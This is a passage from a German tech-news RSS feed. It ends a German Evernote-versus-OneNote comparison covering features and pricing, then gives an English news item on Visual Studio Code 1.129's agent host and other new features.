<li><p>Unterstützung für Touch-Devices und -Stifte,</p></li>



<li><p>Integrierbare Audio- und Videoaufnahmen und</p></li>



<li><p>Integration mit Google Calendar (für Outlook geplant) und Google Drive;</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Web Clipping</strong></p>



<p class="wp-block-paragraph">Die Stärke von Evernote liegt wie eingangs bereits erwähnt darin, Inhalte aus dem weltweiten Netz zu erfassen und zu organisieren. Das dazu integrierte Web-Clipping-Tool funktioniert beispielhaft und läuft als Browser-Addon (für Chrome, Firefox, Internet Explorer, Microsoft Edge, Safari und Opera). Die Funktionen variieren dabei je nach Browser leicht. Im Allgemeinen bieten Google Chrome und Microsoft Edge dabei das zuverlässigste Erlebnis.</p>



<p class="wp-block-paragraph">Die Inhalte, die Sie mit Evernote aus dem Netz ziehen, lassen sich auch mit Tags versehen und zu Notizen hinzufügen. Darüber hinaus verfügt der Clipper auch über nützliche Markierungswerkzeuge für Screenshots. Erstellte Notizen dürfen selbstverständlich auf Knopfdruck mit spezifischen Kollegen oder auch über soziale Medien geteilt werden.</p>



<p class="wp-block-paragraph"><strong>Versionsunterschiede</strong></p>



<p class="wp-block-paragraph">Die <a class="idgGlossaryLink" href="https://www.computerwoche.de/operating-systems/" target="_blank">Windows</a>-, Mac-, iPadOS-, iOS-, <a class="idgGlossaryLink" href="https://www.computerwoche.de/mobile/" target="_blank">Android</a>– und Web-Versionen von Evernote weisen alle ein ähnliches Erscheinungsbild auf und verfügen über die gleichen Widgets und dasselbe Layout.</p>



<p class="wp-block-paragraph"><strong>KI-Funktionen</strong></p>



<p class="wp-block-paragraph">Auch Evernote integriert inzwischen künstliche Intelligenz. Zum Beispiel in Form von <a href="https://evernote.com/de-de/blog/ai-transcribe-audio-recordings-to-text" target="_blank" rel="noreferrer noopener">KI-Transkriptionen</a>, semantischen Suchen und auch in Form eines Assistenten:</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">You’ve heard about Evernote v11, now see it in action. ⚡📹<br><br>Watch Product Lead <a href="https://x.com/fedesimio?ref_src=twsrc%5Etfw">@fedesimio</a> demo the new AI Assistant, Semantic Search, and AI Meeting Notes, and share the story of how Evernote got to v11.<br><br>We’re excited to start this new chapter together. V11 is available for… <a href="https://t.co/9d8DMmRVLF">pic.twitter.com/9d8DMmRVLF</a></p>— Evernote (@evernote) <a href="https://x.com/evernote/status/2016198369727717768?ref_src=twsrc%5Etfw">January 27, 2026</a></blockquote>
</div></figure>



<p class="wp-block-paragraph"><strong>Storage und Preisgefüge</strong></p>



<p class="wp-block-paragraph">Die Basisversion von Evernote ist kostenlos, jedoch auf 60 MB neue Notizen pro Monat sowie die Synchronisierung zwischen zwei Geräten limitiert – und enthält keine erweiterten Funktionen.</p>



<p class="wp-block-paragraph"><a title="Personal- und Professional-Abos" href="https://evernote.com/intl/de/compare-plans" target="_blank" rel="noopener">Abonnement-Pläne</a> erschließen weitere Features, beispielsweise die Möglichkeit, Notizen in Präsentationen umzuwandeln, PDFs und Anhänge zu durchsuchen und die Integration mit weiteren Services wie Slack und Microsoft Teams.</p>



<ul class="wp-block-list">
<li><p>Das Starter-Abo richtet sich dabei an Einzel- beziehungsweise Privatpersonen und kostet 6,65 Euro pro Monat (oder 79,90 Euro pro Jahr).</p></li>



<li><p>Das Advanced-Abo ist auf Power User ausgelegt und kostet 16,66 Euro pro Monat (oder 199,99 Euro jährlich).</p></li>



<li><p>Enterprise-Pläne werden hingegen individuell auf das jeweilige Unternehmen zugeschnitten und bieten unter anderem gemeinsame Arbeitsbereiche, dedizierten Support und zentrale Management-Tools.</p></li>
</ul>



<h2 class="wp-block-heading">OneNote oder Evernote?</h2>



<p class="wp-block-paragraph">Wenn Sie in erster Linie ein Tool suchen, mit dem Sie auf einfache Weise Inhalte aus dem Internet erfassen, organisieren und finden können, sollten Sie zu <strong>Evernote</strong> greifen. Wollen Sie einfach nur Notizen erstellen und diese bestmöglich organisieren – oder nutzen bereits Microsoft 365 – dann dürften Sie mit <strong>OneNote</strong> glücklich werden. Oder Sie verwenden beide Apps einfach in Kombination. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.computerworld.com/article/1508044/onenote-vs-evernote-note-taking-apps.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Visual Studio Code 1.129 introduces dedicated agent host]]></title>
<description><![CDATA[Microsoft has released Visual Studio Code 1.129, an update to its free, popular code editor that features a dedicated agent host and an editor panel in the Agents window. The updated editor also allows users to run terminal commands from chat prompts with a !prefix and offers a preview of a moder...]]></description>
<link>https://tsecurity.de/de/3685030/ai-nachrichten/visual-studio-code-1129-introduces-dedicated-agent-host/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685030/ai-nachrichten/visual-studio-code-1129-introduces-dedicated-agent-host/</guid>
<pubDate>Wed, 22 Jul 2026 01:49:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has released Visual Studio Code 1.129, an update to its free, popular code editor that features a dedicated agent host and an editor panel in the Agents window. The updated editor also allows users to run terminal commands from chat prompts with a <code>!</code>prefix and offers a preview of a modern UI for the workbench.</p>



<p class="wp-block-paragraph">Released July 15, <a href="https://code.visualstudio.com/updates/v1_129" data-type="link" data-id="https://code.visualstudio.com/updates/v1_129">VS Code 1.129</a> can be downloaded from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a> for Windows, Linux, and Mac. </p>



<p class="wp-block-paragraph">Microsoft is rearchitecting how agent sessions work in VS Code around the agent host — a dedicated process that runs agent harnesses such as Claude, Copilot, and Codex, based on the <a href="https://microsoft.github.io/agent-host-protocol/" target="_blank" rel="noreferrer noopener">Agent Host Protocol</a> (AHP). Since a session lives in its own process, the same session can be connected to and rendered from multiple VS Code windows at once. The agent host’s Copilot agent is powered by the Copilot SDK, which means that its behavior and functionality is aligned with the Copilot CLI, the standalone GitHub Copilot app, and other Copilot products. The agent host is being rolled out to users in the editor window and the <a href="https://code.visualstudio.com/docs/agents/agents-window">Agents window</a>. It’s enabled through the <code>chat.agentHost.enabled</code> setting. </p>



<p class="wp-block-paragraph">The Agents window shows conversation with an agent next to a detail area for the files and changes it produces. This release introduces a redesigned editor panel that brings the editor and the detail area together into one docked pane with a shared tab bar, so reviewing an agent’s work feels like working in the main editor instead of switching between separate panels.</p>



<p class="wp-block-paragraph">Other new features and improvements in VS Code 1.129:</p>



<ul class="wp-block-list">
<li>Users now can prefix chat messages with a <code>!</code> to run their contents as terminal commands. This works in agent host sessions, both in the editor and in the Agents window.</li>



<li>Developers can now use <a href="https://code.visualstudio.com/docs/agent-customization/language-models#_bring-your-own-language-model-key">Bring Your Own Key (BYOK) models</a> in the Agents window when selecting the Copilot harness running on the agent host.</li>



<li>Developers can preview a modernized VS Code UI that updates the look and feel of the editor workbench. This is currently an experimental feature that can be enabled with the <code>workbench.experimental.modernUI</code><strong> </strong>setting.</li>
</ul>



<p class="wp-block-paragraph">VS Code 1.129 follows <a href="https://www.infoworld.com/article/4196408/visual-studio-code-backs-multi-chat-claude-sessions.html">Visual Studio Code 1.128</a>, released July 13. An update, VS Code 1.129.1, fixes <a href="https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aclosed+milestone%3A1.129.1">three bugs</a> including remote agent hosts failing to start.</p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,15ms -->